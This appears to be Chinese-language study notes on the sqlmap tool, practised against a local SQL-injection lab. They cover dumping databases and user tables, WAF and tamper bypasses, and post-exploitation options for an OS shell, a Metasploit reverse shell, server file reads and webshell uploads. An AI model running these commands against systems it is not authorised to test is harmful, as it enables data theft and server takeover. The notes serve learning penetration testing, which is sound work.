sqlmap使用
E:\att_tools\web_tools\sql injection\sqlmap
基本使用
探测指定url是否存在SQL注入
无需登录
1  | sqlmap -u "url" #探测该url是否存在漏洞  | 
需要登录
cookie
1  | sqlmap -u "url" --cookie="抓取的cookie" #探测该url是否存在漏洞  | 
data参数
1  | sqlmap -u "url" --data="uname=admin&passwd=admin&submit=Submit" #抓取其post提交的数据填入  | 
探测http数据包
1  | POST /sqli/Less-11/ HTTP/1.1  | 
用
-p参数来指定需要探测的参数
*指定注入点
1  | python sqlmap.py -u "http://xx.xx.xx.xx/xxxx*/?id=1" #对url路径执行探测  | 
数据库用户相关
1  | sqlmap -u "url"  | 
获取数据库数据
查看所有数据库(–dbs)
1  | sqlmap -u "url" --dbs  | 
查看当前数据表
--current-db
获取所有的表(-D [库名] –tables)
1  | sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security --tables #爆出数据库security中的所有的表  | 
获取所有的列(-D [库名] -T [表名] –columns)
1  | sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users --columns  | 
获取指定数据(-D [库名] -T [表名] -C [列名] –dump)
1  | sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users -C username --dump #爆出数据库security中的users表中的username列中的所有数据  | 
数据库中所有数据(–dump-all)
1  | sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users --dump-all #爆出数据库security中的users表中的所有数据  | 
指定注入类型
1  | –technique=(默认 BEUST)  | 
查看详细信息
1  | -v VERBOSE 详细级别:0-6(默认为1)  | 
探测WAF绕过
1  | --identify-waf 检测是否有WAF  | 
探测等级和危险等级(–level –risk)
1  | sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --level=5 --risk=3 #探测等级5,平台危险等级3,都是最高级别  | 
Sqlmap一共有5个探测等级,默认是1。等级越高,说明探测时使用的payload也越多。其中5级的payload最多,会自动破解出cookie、XFF等头部注入。当然,等级越高,探测的时间也越慢。这个参数会影响测试的注入点,GET和POST的数据都会进行测试,HTTP cookie在level为2时就会测试,HTTP User-Agent/Referer头在level为3时就会测试。在不确定哪个参数为注入点时,为了保证准确性,建议设置level为5
sqlmap一共有3个危险等级,也就是说你认为这个网站存在几级的危险等级。和探测等级一个意思,在不确定的情况下,建议设置为3级,–risk=3
伪造Http Referer头部
Sqlmap可以在请求中伪造HTTP中的referer,当探测等级为3或者3以上时,会尝试对referer注入,可以使用referer命令来欺骗,比如,我们伪造referer头为百度。可以这样
1  | --referer http://www.baidu.com  | 
指定脚本进行绕过(–tamper)
1  | sqlmap --tamper=space2comment.py #用/**/代替空格  | 
脚本位置
linux:/usr/share/sqlmap/tamper
windows:sqlmap\tamper
注入后渗透
执行指定的SQL语句(–sql-shell)

这里的SQL语句最后不要有分号

执行操作系统命令(–os-shell)
在数据库为MySQL、PostgreSql或者SQL Server时,可以执行该选项。
当为MySQL数据库时,需满足下面三个条件:
- 当前用户为 root
 - 知道网站根目录的绝对路径
 - 该数据库的 secure_file_priv 参数值为空(很多数据库的该值为NULL,这也就导致了即使当前用户是root,即使知道了网站根目录的绝对路径,也不能执行成功 –os-shell )
 
1  | python .\sqlmap.py -u "http://192.168.3.30/sql1/Less-4/?id=1" --os-shell #执行--os-shell命令  | 

选择网站知道的脚本语言
do you want sqlmap to further try to provoke the full path disclosure? [Y/n]
您是否希望sqlmap进一步尝试引发完整路径的披露?【Y/n】

如果我们不知道网站的根目录的绝对路径的话,我们那里选择 4 暴力破解,尝试破解出根目录的绝对路径。这里因为是我们本地的环境,已经知道网站根目录的绝对地址了,所以选择 2
- 【1】使用公共的默认目录(C:/xampp/htdocs/,C:/wamp/www,C:/Inetpub/wwwroot/)
 - 【2】自定义网络根目录绝对路径
 - 【3】指定自定义的路径文件
 - 【4】暴力破解
 

如果报错,无写入权限,修改my.ini
1  | secure_auth = ON  | 

执行os-shell的过程中,sqlmap向网站根目录写入两个文件 tmpbxttd.php 和 tmpumosw.php。真正的木马文件是tmpbxttd.php 。如果是非正常退出sqlmap的话,这两个文件不会被删除。只有当我们输入 x 或 q 退出 sqlmap 时,该文件才会被自动删除。
 tmpbxttd.php
1  | 
  | 
tmpumosw.php
1  | 1 Dumb Dumb  | 
反弹一个MSF的shell(–os-pwn)
在数据库为MySQL、PostgreSql或者SQL Server时,可以执行该选项。并且需要当前获取的权限足够高才可以。
1  | python .\sqlmap.py -u "http://100.142.20.139/sql1/Less-4/?id=1" --os-pwn  | 
读取服务器文件(–file-read)
当数据库为MySQL、PostgreSQL或SQL Server,并且当前用户有权限时,可以读取指定文件,可以是文本文件或者二进制文件。
1  | python .\sqlmap.py -u "http://100.142.20.139/sql1/Less-4/?id=1" --file-read "E:\phpStudy\PHPTutorial\WWW\sql1\Less-4\test.txt" #读取目标服务器C盘下的test.txt文件  | 

文件成功读取保存到上图路径
上传文件到数据库服务器中(–file-write –file-dest)
当数据库为MySQL、Postgre SQL或者Sql Server(通过powershell写入),并且当前用户有权限向任意目录写文件的时候,可以上传文件到数据库服务器。文件可以是文本,也可以是二进制文件。
所以利用上传文件,我们可以上传一句话木马或者上传shell上去。
前提是我们知道网络的绝对路径
1  | python .\sqlmap.py -u "http://100.142.20.139/sql1/Less-4/?id=1" --file-write C:\Users\DropAnn\Desktop\1.php --file-dest "E:\phpStudy\PHPTutorial\WWW\sql1\Less-4\test.php"  | 


判断是否上传成功判断,对比文件大小是否一致







